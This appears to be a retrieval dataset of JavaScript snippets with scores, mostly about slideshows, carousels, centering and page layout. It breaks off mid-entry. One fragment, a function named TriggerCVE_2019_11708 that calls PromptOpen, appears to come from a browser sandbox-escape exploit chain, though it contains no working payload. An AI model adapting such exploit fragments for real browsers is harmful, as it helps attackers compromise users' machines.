Reveal.getSlides().forEach(function (slide) {\n slide.style.height = pageHeight + \"px\";\n\n if (Reveal.getConfig().center || slide.classList.contains(\"center\")) {\n // Reveal implements centering by adjusting css:top. Remove this.\n slide.style.top = \"\";\n\n // div for centering with flex layout\n let vcenter = document.createElement(\"div\");\n vcenter.classList.add(\"v-center\");\n\n // div for wrapping slide content\n var wrapper = document.createElement(\"div\");\n wrapper.classList.add(\"v-wrapper\");\n\n // move children from slide to wrapping div\n for (let i = 0; i < slide.children.length; ) {\n let e = slide.children[i];\n // skip whiteboard and footer\n if (\n e.classList.contains(\"whiteboard\") ||\n e.classList.contains(\"footer\")\n ) {\n ++i;\n } else {\n wrapper.appendChild(e);\n }\n }\n\n // add divs to slide\n slide.appendChild(vcenter);\n vcenter.appendChild(wrapper);\n }\n });\n }", "title": "" }, { "docid": "f549b61b58a060582d5bacab35749dd7", "score": "0.51485634", "text": "_displayCaption(slide) {\n const { caption, alignCaption } = this.props;\n\n if(caption) {\n return(\n <div className=\"caption\">\n <p className={classnames('caption-text', `caption-text-${alignCaption}`)}>{slide.caption}</p>\n </div>\n )\n }\n }", "title": "" }, { "docid": "82112cf49d5acf365358189c10e88de6", "score": "0.5142707", "text": "function alignCenter() {\n commentUser.style.textAlign = \"center\";\n}", "title": "" }, { "docid": "611da7c1088f61ff85d9282cd0c50205", "score": "0.513108", "text": "function setCenter($target)\n{\n //$(window).scrollTo(0,($target.offset().top - window.innerHeight / 2));\n if($target.length>0)\n {\n $body.stop().animate\n (\n {'scrollTop': ($target.offset().top - window.innerHeight / 2)},\n 600, \"linear\"\n );\n }\n}", "title": "" }, { "docid": "972012541284ce2058e7fa185cb6b9fd", "score": "0.5130282", "text": "function showSlides() { \n\tslideIndex++; \n\n\t// checks for boundary to loop slider\n\tif (slideIndex > projects.length) { \n\t\tslideIndex = 1; \n } \n \n if (screen.width >= 1024) {\n // removes display from all slides\n // removes active class from all triggers\n for (let i = 0; i < projects.length; i++) { \n projects[i].style.display = \"none\"; \n slideTriggers[i].className = slideTriggers[i].className.replace(\" active\", \"\");\n } \n\n // inserts project div and changes current trigger to active\n projects[slideIndex - 1].style.display = \"flex\"; \n slideTriggers[slideIndex - 1].className += \" active\"; \t\n }\n timeOut = setTimeout(showSlides, 6000);\n}", "title": "" }, { "docid": "8b02274c1a0ee62d3d53f9de73c667ab", "score": "0.51200634", "text": "function notcenter() {\n resetTemplateInfo();\n vm.positioning = \"notcentered\";\n vm.showed = true;\n }", "title": "" }, { "docid": "8070cf04e658417fd5fc83f7ce0c9025", "score": "0.5119113", "text": "function aboutPageTextSlideControl(target){\n if(target == 1){\n $(\".management-text\").removeClass(\"move-up-max\");\n setTimeout(function(){\n $(\".circle\").removeClass(\"scale-hide\");\n },550);\n }\n else{\n $(\".management-text\").addClass(\"move-up-max\");\n $(\".circle\").addClass(\"scale-hide\");\n }\n\n setTimeout(function(){\n $(\"div.active\").removeClass(\"active\");\n $(\"div[data-no=\"+target+\"]\").removeClass(\"hide\").addClass(\"active\");\n\n /*Make clicked bullet active*/\n $(\".nav-circle[ahy-target=\"+target+\"]\").siblings().removeClass(\"active\");\n $(\".nav-circle[ahy-target=\"+target+\"]\").addClass('active');\n\n setTimeout(function(){\n $(\"div[data-no=\"+target+\"].active .top-text\").removeClass(\"move-up\");\n $(\"div[data-no=\"+target+\"].active .bottom-text .text-section\").removeClass(\"scale-hide\");\n },550);\n\n $(\"div[data-no=\"+target+\"].active\").siblings().find(\".top-text\").addClass(\"move-up\");\n $(\"div[data-no=\"+target+\"].active\").siblings().find(\".bottom-text\").children(\".text-section\").addClass(\"scale-hide\");\n },100);\n }", "title": "" }, { "docid": "587f9641d1701b59fd6ea589fbe5132f", "score": "0.5117967", "text": "function buildCenterPane(p_data) {\n var l_html = \"<div class=\\\"ui-layout-center\\\">\" +\n //\"<div id=\\\"center_title\\\" class=\\\"header ui-widget-header\\\"></div>\"+\n \"<div id=\\\"center_file\\\" class=\\\"file\\\"></div>\" +\n \"</div>\";\n jQuery(l_html).appendTo('body');\n }", "title": "" }, { "docid": "681b9d0e5d9a5aaa05e0c52eabad767f", "score": "0.5114398", "text": "slideshow() {\n if(this.state.slideshow[0] !== null) {\n return ( \n <div className=\"center-align\">\n <img className=\"slide-size\" alt={this.state.title} src={this.state.slideshow[0]} />\n </div>\n )\n }\n }", "title": "" }, { "docid": "6aa2605e52d4d8f146a608cbc1612654", "score": "0.5111466", "text": "function initCenterImages() {\n\t\tπ('*[data-scroll-center]').forEach(function(el, i) {\n\t\t\tscrollInAndOutOfFixedCenter(el, i);\n\t\t});\n\t}", "title": "" }, { "docid": "1c998b94bf70b60bd62ad6f7db9624d3", "score": "0.51070225", "text": "function showMidLabel() {\n if (!startPos || !endPos) {\n return; // can't set if no arrow is currently drawn\n }\n // adjust with the image offset (image element is sibling of arrow mid elem)\n var imgOffset = opts.midElement.siblings('img.lifesize').position();\n var xPos = ((Math.round(startPos.x + endPos.x) / 2) - opts.midElement.width() / 2) + (imgOffset.left);\n var yPos = ((Math.round(startPos.y + endPos.y) / 2) - opts.midElement.height() / 2) + (imgOffset.top);\n opts.midElement.css({top: yPos, left: xPos});\n }", "title": "" }, { "docid": "cffaf7c1aa091a0cb12e29ce1dfc61db", "score": "0.5098758", "text": "function guessCenter(){\n anime({\n targets:'svg.cup.center',\n translateX:[{value:-112}],\n translateY: [\n { value: -160, duration: 900 ,delay:600,easing:'easeInOutCubic'},\n ],\n rotate:{\n delay:300,\n value:[0,-20],\n duration:1200,\n easing:'easeInOutSine'\n },\n complete: function() {\n anime({\n targets:'svg.cup.center',\n translateX:[{value:-112}],\n translateY:[\n {value:0, duration: 800 ,delay:600,easing:'easeInOutCubic'}, \n ],\n rotate:{\n delay:30,\n value:[0],\n duration:1200,\n easing:'easeInOutSine'\n }\n });\n }\n});\n}", "title": "" }, { "docid": "022c1c9c33ba058286c11a0ea6d33cce", "score": "0.50832766", "text": "function showSlides(n){\n var i;\n var slides = document.getElementsByClassName(\"quoteContent\");\n var dots = document.getElementsByClassName(\"dot\");\n\n//This makes the slide go back to one if the number you are supposed to go to next is greater than the number of slides//\n if (n > slides.length) {\n slideIndex = 1;\n }\n\n//This makes the slide go back to the last slide if the number you are supposed to go to next is less than one//\n if (n < 1) {\n slideIndex = slides.length\n }\n\n//This makes the slides that you aren't on not appear on the page//\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n\n//This unhighlights the dot for the slides that you are not on//\n for (i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\" active\",\"\");\n }\n\n//Whenever you get to the slide you're on, it displays it as block and fades because of the CSS function//\n slides[slideIndex-1].style.display = \"block\";\n\n//This puts the active class on whatever dot you're on//\n dots[slideIndex-1].className += \" active\";\n}", "title": "" }, { "docid": "7fe0e4b20fa874401f5112125a317c1d", "score": "0.508015", "text": "function drawCenterText(text, x, y, width) {\n var textdim = ctx.measureText(text);\n ctx.fillText(text, x + (width - textdim.width) / 2, y);\n}", "title": "" }, { "docid": "582e069e0e855e20b2a4c77f7a7f6b8a", "score": "0.50601244", "text": "function drawCenterText(text, x, y, width) {\n var textdim = context.measureText(text);\n context.fillText(text, x + (width - textdim.width) / 2, y);\n }", "title": "" }, { "docid": "1befabae0e38d66eadbd42158abbd921", "score": "0.5043196", "text": "function scrollPortfolioCenter() {\n sound1.play() \n portfolioInCenterPosition();\n TweenMax.to(git, .25, \n {rotationY:-55, height:'auto', width:'19%', x:'0%', y:'-3%', \n translateY:'-3%', transformPerspective: 600, ease: Power1.easeOut});\n TweenMax.to(info, .25, \n {rotationY:-75, height:'auto', width:'13%', x:'0%', y:'-7%', \n translateY:'-7%', transformPerspective: 500, ease: Power1.easeOut});\n TweenMax.to(linkedin, .25, \n {rotationY:55, height:'auto', width:'19%', x:'0%', y:'-3%', \n translateY:'-3%', transformPerspective: 600, ease: Power1.easeOut});\n TweenMax.to(resume, .25, \n {rotationY:80, height:'auto', width:'10%', x:'0%', y:'-7%', \n translateY:'-7%', transformPerspective: 500, ease: Power1.easeOut});\n}", "title": "" }, { "docid": "0941a1a053e0bed6d2222281b1dbd8a3", "score": "0.5041865", "text": "function modelSlider() {\n\t$(\".model-slider\").slick({\n dots: true,\n infinite: true,\n centerMode: true,\n slidesToShow: 1,\n slidesToScroll: 1,\n\t\tcenterPadding: '0'\n });\n\t}", "title": "" }, { "docid": "c78a1d77a515f0410c69891947b12b9f", "score": "0.50392103", "text": "render() {\n return (\n <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>\n <Text style={{ marginTop: 50, fontSize: 25 }}>Coming Soon!</Text>\n </View>\n );\n }", "title": "" }, { "docid": "1a333a80c618299c2ab1731d20eda299", "score": "0.5029144", "text": "function positionPageCenter(divObj)\r\n{\r\n\tif(divObj!=null)\r\n\t{\r\n\t\tvar top=(screen.height/2)-(divObj.offsetHeight/2);\r\n\t\tvar left=(screen.width/2)-(divObj.offsetWidth/2);\r\n\t\tdivObj.style.top = top+\"px\";\r\n\t\tdivObj.style.left = left+\"px\";\r\n\t}\r\n}", "title": "" }, { "docid": "a959feef5f860a19437715ee41388faa", "score": "0.5007711", "text": "function initSlickSlider() {\n\n $('.center').slick({\n centerMode: true,\n slidesToShow: 7,\n responsive: [\n {\n breakpoint: 1920,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '50px',\n slidesToShow: 5 ,\n speed: 80\n }\n },\n {\n breakpoint: 1440,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '50px',\n slidesToShow: 5,\n speed: 80\n }\n },\n {\n breakpoint: 1080,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '120px',\n slidesToShow: 3,\n speed: 80\n }\n },\n {\n breakpoint: 780,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '30px',\n slidesToShow: 3,\n speed: 80\n }\n },\n {\n breakpoint: 480,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '80px',\n slidesToShow: 1,\n speed: 80\n }\n },\n {\n breakpoint: 380,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '60px',\n slidesToShow: 1,\n speed: 80\n }\n },\n {\n breakpoint: 325,\n settings: {\n arrows: false,\n centerMode: true,\n centerPadding: '35px',\n slidesToShow: 1,\n speed: 80\n }\n }\n ]\n });\n\n}", "title": "" }, { "docid": "89e1663c159241087418baafa65e1e1e", "score": "0.5006554", "text": "function slickHomePage () {\n // slide banner\n $('.slide-home').slick({\n draggable: true,\n arrows: true,\n prevArrow:\n '<div class=\"prev\">' +\n '<svg class=\"i-chevron-left\" viewBox=\"0 0 32 32\" width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentcolor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"4\">\\n' +\n '<path d=\"M20 30 L8 16 20 2\"></path>\\n' +\n '</svg>' +\n '</div>',\n nextArrow:'' +\n '<div class=\"next\">' +\n '<svg class=\"i-chevron-right\" viewBox=\"0 0 32 32\" width=\"16\" height=\"16\" fill=\"none\" stroke=\"currentcolor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"4\">\\n' +\n '<path d=\"M12 30 L24 16 12 2\"></path>\\n' +\n '</svg>' +\n '</div>',\n dots: true,\n fade: true,\n speed: 900,\n infinite: true,\n autoplay:true,\n autoplaySpeed:4000,\n cssEase: 'cubic-bezier(0.7, 0, 0.3, 1)',\n touchThreshold: 100\n })\n // slide logo\n $('.slide-brand').slick({\n slidesToShow: 5,\n infinite: true,\n arrows: false,\n dots: false,\n autoplay:true,\n autoplaySpeed:2000,\n responsive: [\n {\n breakpoint: 1024,\n settings: {\n slidesToShow: 4,\n }\n },\n {\n breakpoint: 769,\n settings: {\n slidesToShow: 3,\n }\n },\n {\n breakpoint: 577,\n settings: {\n slidesToShow: 2,\n }\n }\n ]\n })\n }", "title": "" }, { "docid": "14e1f4e88a8a73b1936f59bef6bd928d", "score": "0.5005742", "text": "function showSlides(n) {\n var i;\n //Creates variable for thumbnails on webpage.\n var slides = document.getElementsByClassName(\"mySlides\");\n //Creates variable for thumbnails in Lightbox.\n var dots = document.getElementsByClassName(\"demo\");\n //Creates variable for Image Captions\n var captionText = document.getElementById(\"caption\");\n //If you try to go past slide 6/6, you restart at 1/6.\n if (n > slides.length) {slideIndex = 1}\n //If you try to go before slide 1/6, you move to 6/6.\n if (n < 1) {slideIndex = slides.length}\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n for (i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\" active\", \"\");\n }\n //Sets display style for active slide.\n slides[slideIndex-1].style.display = \"block\";\n //Highlights Lightbox thumbnails on hover.\n dots[slideIndex-1].className += \" active\";\n //Dispalys img alt as caption under slide.\n captionText.innerHTML = dots[slideIndex-1].alt;\n}", "title": "" }, { "docid": "d1456e4ccea434e376a01bff4cd4fcf6", "score": "0.50016403", "text": "function showSlides(n) {\n let photos = document.querySelector(\"article\").querySelectorAll(\"img\");\n if (n > photos.length) {\n slideIndex = 1;\n }\n if (n < 1) {\n slideIndex = photos.length;\n }\n let active = document.querySelector(\".active\");\n if (active == null) {\n //document.querySelector(\"body\").classList.remove(\"displayNone\");\n for (let i = 0; i < photos.length; i++) {\n photos[i].className = \"displayNone\";\n }\n photos[slideIndex - 1].className = \"largePhoto active\";\n unfade(photos[slideIndex - 1]);\n } else if (\n active.classList.contains(\"swipeLeft\") ||\n active.classList.contains(\"swipeRight\")\n ) {\n setTimeout(function () {\n active.className = \"displayNone\";\n photos[slideIndex - 1].className = \"largePhoto active\";\n unfade(photos[slideIndex - 1]);\n }, 200);\n } else {\n active.className = \"displayNone\";\n photos[slideIndex - 1].className = \"largePhoto active\";\n unfade(photos[slideIndex - 1]);\n }\n\n // add title and caption from alt text\n if (photos[slideIndex - 1].title != \"undefined\") {\n document.querySelector(\"#photoTitle\").innerText =\n photos[slideIndex - 1].title;\n } else {\n document.querySelector(\"#photoTitle\").innerText = \"\";\n }\n if (photos[slideIndex - 1].alt != \"undefined\") {\n document.querySelector(\"#caption\").innerText = photos[slideIndex - 1].alt;\n } else {\n document.querySelector(\"#caption\").innerText = \"\";\n }\n}", "title": "" }, { "docid": "0d6864056efc02dc36ff466f9a17b7c5", "score": "0.49985126", "text": "function showSlides() {\n let i;\n let slides = document.getElementsByClassName(\"slide\");\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\"; \n }\n slideIndex++;\n if (slideIndex > slides.length) {slideIndex = 1} \n slides[slideIndex-1].style.display = \"block\"; \n setTimeout(showSlides, 6000); // Change image every 6 seconds\n}", "title": "" }, { "docid": "3aad7875c5b9e27a0c5e479703d10e1b", "score": "0.49947962", "text": "function mahmud(){\n\t\t$container.animate({'margin-left':'-='+width}, speed, function(){\n\t\t\tcurrent++;\n\t\t\tif (current===$slides.length) {\n\t\t\t\tcurrent=1;\n\t\t\t\t$container.css('margin-left', 0);\n\t\t\t};\n\t\t}), pause;\n\t}", "title": "" }, { "docid": "d45dfe1b86ef58bf3fd366d0bd7c1ea3", "score": "0.49947745", "text": "function CenterData(){\n\tCenterDataX();\n\tCenterDataY();\n\tCenterDataZ();\n}", "title": "" }, { "docid": "9d231fd75e86f4bf7f3eeadd8964fe58", "score": "0.49900204", "text": "function center( $item ) {\n\t\t$item.css({\n\t\t\tleft: ( winWidth() - $item.width() ) / 2,\n\t\t\ttop: ( winHeight() - $item.height() ) / 2\n\t\t});\n\t}", "title": "" }, { "docid": "37f843b42ee14d032e34f2f5d97f7928", "score": "0.49875617", "text": "function slidesFix() {\n var docWidth = jQuery(document).width();\n var docHeight = jQuery(document).height();\n if (docWidth < 767 || docWidth == 767) {\n jQuery(\".s-caption\").width(docWidth - 80);\n } else {\n jQuery(\".s-caption\").width(docWidth - 300);\n }\n}", "title": "" }, { "docid": "3eff05424220229ccbbabe14f2de553e", "score": "0.49869138", "text": "function blogGridSlider() {\n $(\".blog-grid-slider\").slick({\n\t\tdots: false,\n infinite: true,\n centerMode: true,\n\t\tautoplay: true,\n autoplaySpeed: 5000,\n slidesToShow: 1,\n slidesToScroll: 1,\n\t\tcenterPadding: '0'\n\t});\n\t}", "title": "" }, { "docid": "6eb52d044681bb002741f7a91f217b8d", "score": "0.49839374", "text": "function aboutParagraphs(index){\n animateElement(this, \"fadeIn\", \"0.\"+(index*2-1), .6);\n }", "title": "" }, { "docid": "ba4d2f3d16f4df277e53d8a816abf393", "score": "0.49829683", "text": "function vertCenter(item) {\n\t\t\"use strict\";\n\t\titem.css({\n\t\t\t'margin-top' : '-' + parseInt((item.height() / 2), 0) + 'px'\n\t\t}).fadeIn();\n\t}", "title": "" }, { "docid": "5db0bd26ea5cec83ad69fb8184432660", "score": "0.49758372", "text": "setCenter() {\n\t\tthis._setCenter();\n\n\t\tthis._redraw();\n\t}", "title": "" }, { "docid": "5280ec988711a44219828b2c5d857f84", "score": "0.49743295", "text": "function showSlides() {\n let i;\n let slides = document.getElementsByClassName(\"carSlides\");\n // var dots = document.getElementsByClassName(\"dot\");\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n slideIndex++;\n if (slideIndex > slides.length) {\n slideIndex = 1;\n }\n // for (i = 0; i < dots.length; i++) {\n // dots[i].className = dots[i].className.replace(\" active\", \"\");\n // }\n slides[slideIndex - 1].style.display = \"block\";\n // dots[slideIndex - 1].className += \" active\";\n setTimeout(showSlides, 3000); // Change image every 3 seconds\n}", "title": "" }, { "docid": "df70a8cae6ce71c06d57aa271d79c434", "score": "0.49674067", "text": "function displayText() {\n if (toggleText == true) {\n if (isPlaying == true) {\n noStroke();\n textAlign(LEFT);\n textSize(16);\n textFont(font);\n fill(0, 50);\n text('Now playing ' + sound.url, width / 2.5, height / 1.05);\n } else {\n noStroke();\n textAlign(LEFT);\n textSize(42);\n textFont(font);\n fill(255, 50);\n text('CLICK TO PLAY MUSIC', width / 3.3, height / 1.15);\n }\n }\n}", "title": "" }, { "docid": "da39895af25f0147c78c6af799803a94", "score": "0.49647197", "text": "function setStateOfportfolioFirstView() {\n var imgRatio = categoryImg[0].height / categoryImg[0].width;\n imgHeight = window.innerWidth * 0.8 * imgRatio;\n imgMargin = (window.innerHeight - imgHeight - window.innerHeight * 0.25) / 2;\n fantasyH2.style.marginTop = (imgMargin + 10).toString() + \"px\";\n fantasyH2.style.marginBottom = (imgMargin - 10).toString() + \"px\";\n}", "title": "" }, { "docid": "7719c756041ba40d0fc27f22f524a340", "score": "0.49579868", "text": "function updateOverview() {\n\n\t\tvar vmin = Math.min( window.innerWidth, window.innerHeight );\n\t\tvar scale = Math.max( vmin / 5, 150 ) / vmin;\n\n\t\ttransformSlides( {\n\t\t\toverview: [\n\t\t\t\t'scale('+ scale +')',\n\t\t\t\t'translateX('+ ( -indexh * overviewSlideWidth ) +'px)',\n\t\t\t\t'translateY('+ ( -indexv * overviewSlideHeight ) +'px)'\n\t\t\t].join( ' ' )\n\t\t} );\n\n\t}", "title": "" }, { "docid": "e1fb311eb0f2b4ae1e07b629f292328e", "score": "0.49410394", "text": "function updateSlidePosition () {\n var carosello = document.getElementById('caroselloCentrale')\n carosello.innerHTML=slides[slidePosition]\n\n\n\n\n}", "title": "" }, { "docid": "85726f00ee8774cfa839b75929f2519d", "score": "0.49396938", "text": "function showSlides(currentSlide) {\n // Assemble images and metadatas into arrays\n var images = document.getElementsByClassName('roverImage');\n var metas = document.getElementsByClassName('roverMeta');\n\n // If currentSlide is past end of either array, reset slideIndex (for looping)\n if (currentSlide > images.length || currentSlide > metas.length) {\n slideIndex = 1\n }\n\n // If currentSlide is less than 1, reset slideIndex to end (for looping)\n if (currentSlide < 1) {\n slideIndex = images.length;\n }\n\n // Hide all images\n for (var i = 0; i < images.length; i++) {\n images[i].style.display = 'none';\n }\n\n // Hide all metas\n for (var j = 0; j < metas.length; j++) {\n metas[j].style.display = 'none';\n }\n\n // Display current image and meta\n if (images[slideIndex - 1] !== undefined && metas[slideIndex - 1] !== undefined) {\n images[slideIndex - 1].style.display = 'block';\n metas[slideIndex - 1].style.display = 'block';\n }\n}", "title": "" }, { "docid": "5303536b17b3d3e1a53dbdd2985244dc", "score": "0.4938718", "text": "function centerCanvas() {\n\tvar x = (windowWidth - width) / 2;\n\tvar y = (windowHeight - height) / 2;\n\tcnv.position(x, y);\n}", "title": "" }, { "docid": "df07f63642692345495fc089309af474", "score": "0.49353135", "text": "static set centeredGreyMiniLabel(value) {}", "title": "" }, { "docid": "3f5daf22547cc0dba891a303529afa1a", "score": "0.49318522", "text": "get center() {}", "title": "" }, { "docid": "40fa247ab2e606219d37feb9664e09c8", "score": "0.49309278", "text": "function vertCenter(){\r\n\t\tvar heightImg = $(\"div#bigImg img\").height();\r\n\t\tvar heightScreen = $(window).height();\r\n\t\tvar padding = $(\"div#bigImg div\").css(\"padding\");\r\n\t\tpadding = parseInt(padding, 10);\r\n\r\n\t\tvar marginImg = (heightScreen - heightImg) / 2 - padding;\r\n\r\n\t\t$(\"div#bigImg.active img\").css(\"margin-top\", marginImg);\r\n\t}", "title": "" } ]
85ecb564bf92558e38944c4b229e31de
START BBA > TEAM > Vice President
[ { "docid": "838b4fc5d68d5228e39218d56f34e746", "score": "0.0", "text": "function showVisePresident() {\r\n $('a').removeClass('select'); \r\n $.ajax({\r\n url: 'http://bbaservices.netbizlabs.com/service.asmx/GetVicePrecedent',\r\n type: 'GET',\r\n datatype: 'xml',\r\n success: function(xml) {\r\n var innerText = '<article id=\"panel3\"><h1>Vice President</h1><div id=\"president-messagesub\" class=\"left\"><div id=\"slider1\" class=\"slider\">'+\r\n '<ul><li><a href=\"#\" id=\"pmsgid\" onclick=\"javascript:showPresidentMessage();\">President Message</a></li>'+\r\n '<li><a href=\"#\" id=\"bioid\" onclick=\"javascript:showPresidentBio();\">Bio</a></li>'+\r\n '<li><a href=\"#\" id=\"mediakitid\" onclick=\"javascript:showMediaKITPhotos();\">Media Kit Photo</a></li>'+\r\n '<li><a href=\"#\" id=\"vicepresid\" onclick=\"javascript:showVisePresident();\" class=\"select\">Vice President</a></li>'+\r\n '<li><a href=\"#\" id=\"bodid\" onclick=\"javascript:ShowBoardDirectors();\">Board Of Directors</a></li>'+\r\n '<li><a href=\"#\" id=\"secid\" onclick=\"javascript:showSecretary();\">Secretary</a></li>'+\r\n '<li><a href=\"#\" id=\"associd\" onclick=\"javascript:showAssociatesConsultants();\">Associates</a></li>'+\r\n '<li><a href=\"#\" id=\"consultid\" onclick=\"javascript:showConsultants();\">Consultant</a></li>'+\r\n '<li><a href=\"#\" id=\"commiteeid\" onclick=\"javascript:showCommittees();\">Committees</a></li>'+\r\n '<li><a href=\"#\" id=\"assocbnkid\" onclick=\"javascript:showAssociatesBank();\">Associates Bank</a></li>'+\r\n '<li><a href=\"#\" id=\"expresidentid\" onclick=\"javascript:showExPresident();\">Ex Presidents</a></li>'+\r\n '<li><a href=\"#\" id=\"exviceid\" onclick=\"javascript:showExDeputyPresident();\">Ex Vice Presidents</a></li>'+\r\n '</ul></div><div class=\"controls\"><a href=\"#\" class=\"next-slide\"><img src=\"images/next-arrow.png\" alt=\"\" /></a>'+\r\n '<a href=\"#\" class=\"prev-slide\"><img src=\"images/prev-arrow.png\" alt=\"\" /></a></div></div><article id=\"panel4\" class=\"content memberdetail\"><div id=\"newsHighlights\">';\r\n var i = 0;\r\n $(xml).find(\"VicePrecedent\").each(function() {\r\n if (i == 0) {\r\n innerText = innerText + '<a id=\"anchor' + $(this).find(\"MemberId\").text() + '\" name=\"newsSummary\" onclick=\"Javascript:showVisePresidentDetail(' + $(this).find(\"MemberId\").text() + ')\" class=\"select\"><img src=\"http://bombaybullion.com/Admin/images/MemberImages/' + $(this).find(\"MemberImage\").text() + '\"><h1>' + $(this).find(\"MemberName\").text() + '</h1><p>' + $(this).find(\"Role\").text() + '</p></br></a>';\r\n showVisePresidentDetail($(this).find(\"MemberId\").text());\r\n i++;\r\n }\r\n else {\r\n innerText = innerText + '<a id=\"anchor' + $(this).find(\"MemberId\").text() + '\" name=\"newsSummary\" onclick=\"Javascript:showVisePresidentDetail(' + $(this).find(\"MemberId\").text() + ')\"><img src=\"http://bombaybullion.com/Admin/images/MemberImages/' + $(this).find(\"MemberImage\").text() + '\"><h1>' + $(this).find(\"MemberName\").text() + '</h1><p>' + $(this).find(\"Role\").text() + '</p></br></a>';\r\n i++;\r\n }\r\n }); \r\n innerText=innerText +' </div></article><article id=\"panel5\" class=\"content\"></article></article>';\r\n document.getElementById('iframfirst').innerHTML = innerText;\r\n $( '#slider1' ).lemmonSlider({\r\n infinite: false\r\n\t\t });\r\n $('#Teamid').addClass('select'); \r\n $('#m_bba').addClass('select'); \r\n },\r\n error: function(jqXHR, textStatus, errorThrown) {\r\n alert(jqXHR.status);\r\n }\r\n });\r\n }", "title": "" } ]
[ { "docid": "24880fdb510805907f272afe8739e62c", "score": "0.59740335", "text": "function begin() {\n inquirer.prompt([\n {\n message: \"Are you the manager of this team?\",\n type: \"confirm\",\n name: \"start\",\n }\n ])\n .then(val => {\n if(val.start) {\n appMenu();\n pageStart();\n } else {\n console.log(\"\\n Only managers can create team profiles.\\n Please find the manager of this team.\\n Goodbye. \\n ----------- \\n\");\n }\n });\n}", "title": "" }, { "docid": "099d5726f207f439d69c513c651223dc", "score": "0.57206416", "text": "function TriggerCVE_2019_11708() {\n PromptOpen(`${location.origin}?stage3`);\n}", "title": "" }, { "docid": "19475f164beeb15eadbb7e1122981e1b", "score": "0.5716323", "text": "function chooseTeam() {\n inquirer.prompt([questions[4]]).then((answer) => {\n if (answer.teamMember === \"Engineer\") {\n addEngineer();\n } else if (answer.teamMember === \"Intern\") {\n addIntern();\n } else {\n buildTeam();\n }\n });\n}", "title": "" }, { "docid": "d973328c1ae178d88627817b976a2cfc", "score": "0.56939864", "text": "function startPage() {\r\n\tgetFromServer(\"/league/1/teams\", showTeams);\r\n\r\n\tbuildGamedayList();\r\n\tgetFirstGameday();\r\n\tcheckForOpenGame();\r\n}", "title": "" }, { "docid": "40764dc59c98795fc82f33d6d11fcd8f", "score": "0.5680545", "text": "function onOpen() {\n var ui = SpreadsheetApp.getUi();\n ui.createMenu('OnFleet')\n .addItem('Send Ready to Assign to OnFleet', 'sendToOnfleet')\n .addToUi();\n}", "title": "" }, { "docid": "be29e9a4905500c422a394ee9ac929e2", "score": "0.5654978", "text": "function start() {\n console.log(\"><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><\");\n console.log(\"\\r\\n\\tWelcome to the Bamazon Marketplace - Manager's Suite\\r\\n\");\n console.log(\"\\r\\n If you'd like to exit at any time, simply select 'Exit'.\\r\\n\");\n console.log(\"><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><\");\n managing();\n}", "title": "" }, { "docid": "c46e1ba898cc706a4cad295887af1c23", "score": "0.5618372", "text": "function joinInvitationTeam()\n {\n if(getUserTeamForJoin(uname)){\n JCPlayersToTeam(uname, document.getElementById(\"team-name\").value,\"YES\");\n\n\n }\n }", "title": "" }, { "docid": "790e49bc8cda4d0d3713b99345062936", "score": "0.5552196", "text": "function startPrompt() {\n inquirer.prompt(\n {\n type: \"list\",\n message: \"Would you like to create a team?\",\n choices: ['Yes', 'No'],\n name: \"start\"\n }\n )\n .then(function (res) {\n if (res.start === 'Yes') {\n console.log(\"build team\");\n findRole();\n } else {\n console.log(\"Goodbye\");\n }\n })\n}", "title": "" }, { "docid": "6161fa76f78cff960a53c565b4614cb6", "score": "0.55201244", "text": "function goLunchRoom() {\n\n\n\tGamePage();\n\n\tddir = InterActual.DiscDirectory;\n\tpath = ddir + \"common/win/monster/IPLaunch.exe\";\n\tInterActual.Launch(path, \"mon\");\n\n\n}", "title": "" }, { "docid": "f551601b492c3e6f87193aa8c007420c", "score": "0.5513226", "text": "function GoTeamPage()\n{\n if( ! LocationTest(\"/bvs/team.html\") )\n {\n\tvar menucell = document.evaluate('//a[text()=\"Team\"]', document, null,\n\t\t\t\t\t XPathResult.ANY_UNORDERED_NODE_TYPE, null).singleNodeValue;\t\t\t\t \n\teval(\"unsafeWindow.\" + menucell.href.split(\":\")[1]);\n\tthrow new Error(\"Moving to team page\");\t\n }\n}", "title": "" }, { "docid": "9d905726cff5b5df3e223a0093dac8bb", "score": "0.5505912", "text": "function C012_AfterClass_Roommates_TestInviteSarah() {\n\tif (ActorGetValue(ActorLove) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormLoveSarah\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 211;\n\t}\n\tif (ActorGetValue(ActorSubmission) >= 10) {\n\t\tOverridenIntroText = GetText(\"GoDormDommeSarah\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 211;\n\t}\n\tif (GameLogQuery(CurrentChapter, \"Sarah\", \"IsolationVisit\") && (ActorGetValue(ActorLove) >= 0)) {\n\t\tOverridenIntroText = GetText(\"GoDormIsolationSarah\");\n\t\tC012_AfterClass_Roommates_CurrentStage = 211;\n\t}\n}", "title": "" }, { "docid": "69cc2a7ecf461b8cbb43e2a2ffd8e384", "score": "0.54673153", "text": "function voteTeam(team, captain) {\n\tvar newPrompt = '<div hidden>' + captain + \" has proposed to send this team on the mission:<br>\";\n\tfor(i in team)\n\t\tnewPrompt += (i!=0 ? \", \": \"\") + team[i].substring(0, COMMON.get('MAX_NAMELEN'));\n\t\n\tnewPrompt += '</div><div class=\"votebuttons\" hidden><button id=\"voteyes\" onclick=\"sendVote(\\'yes\\', \\'vote\\')\">Approve</button> <button id=\"voteno\" onclick=\"sendVote(\\'no\\', 